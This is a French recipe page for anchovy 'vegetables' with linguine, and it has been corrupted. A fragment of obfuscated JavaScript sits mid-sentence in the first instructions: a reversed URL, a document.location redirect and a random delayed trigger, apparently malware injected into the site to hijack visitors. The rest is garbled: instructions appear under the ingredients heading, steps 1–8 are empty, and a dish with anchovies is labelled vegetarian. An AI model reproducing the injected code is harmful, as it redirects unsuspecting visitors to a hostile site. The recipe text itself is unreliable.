Légumes aux anchois
2021-03-10- Thématique : Végétarien
- Niveau : Difficile
Pelez, coupez en deux l’ail. Hachez-la. Dans une poêle avec 2 cuillères à soupe d’huile d’olive, sur feu doux. Faites revenir l’ail sans la colorer, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant, ajoutez les filets d’anchois que vous faites fondre pendant 1 minute.
Ingrédients
Pelez, coupez en deux l'ail. Hachez-la. Dans une poêle avec 2 cuillères à soupe d'huile d'olive, sur feu doux. Faites revenir l'ail sans la colorer, tout en remuant, ajoutez les filets d'anchois que vous faites fondre pendant 1 minute. Les écraser avec une fourchette. Versez 2 cuillères à soupe d'eau et laissez chauffer pendant 2 minutes. Couvrez et réservez au chaud, sur la plaque de cuisson éteinte. Dans une casserole d'eau bouillante salée, plongez les linguines et faites les cuire al dente. Les égoutter.
Dégustez avec la sauce et un peu de piment de Cayenne pilé.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
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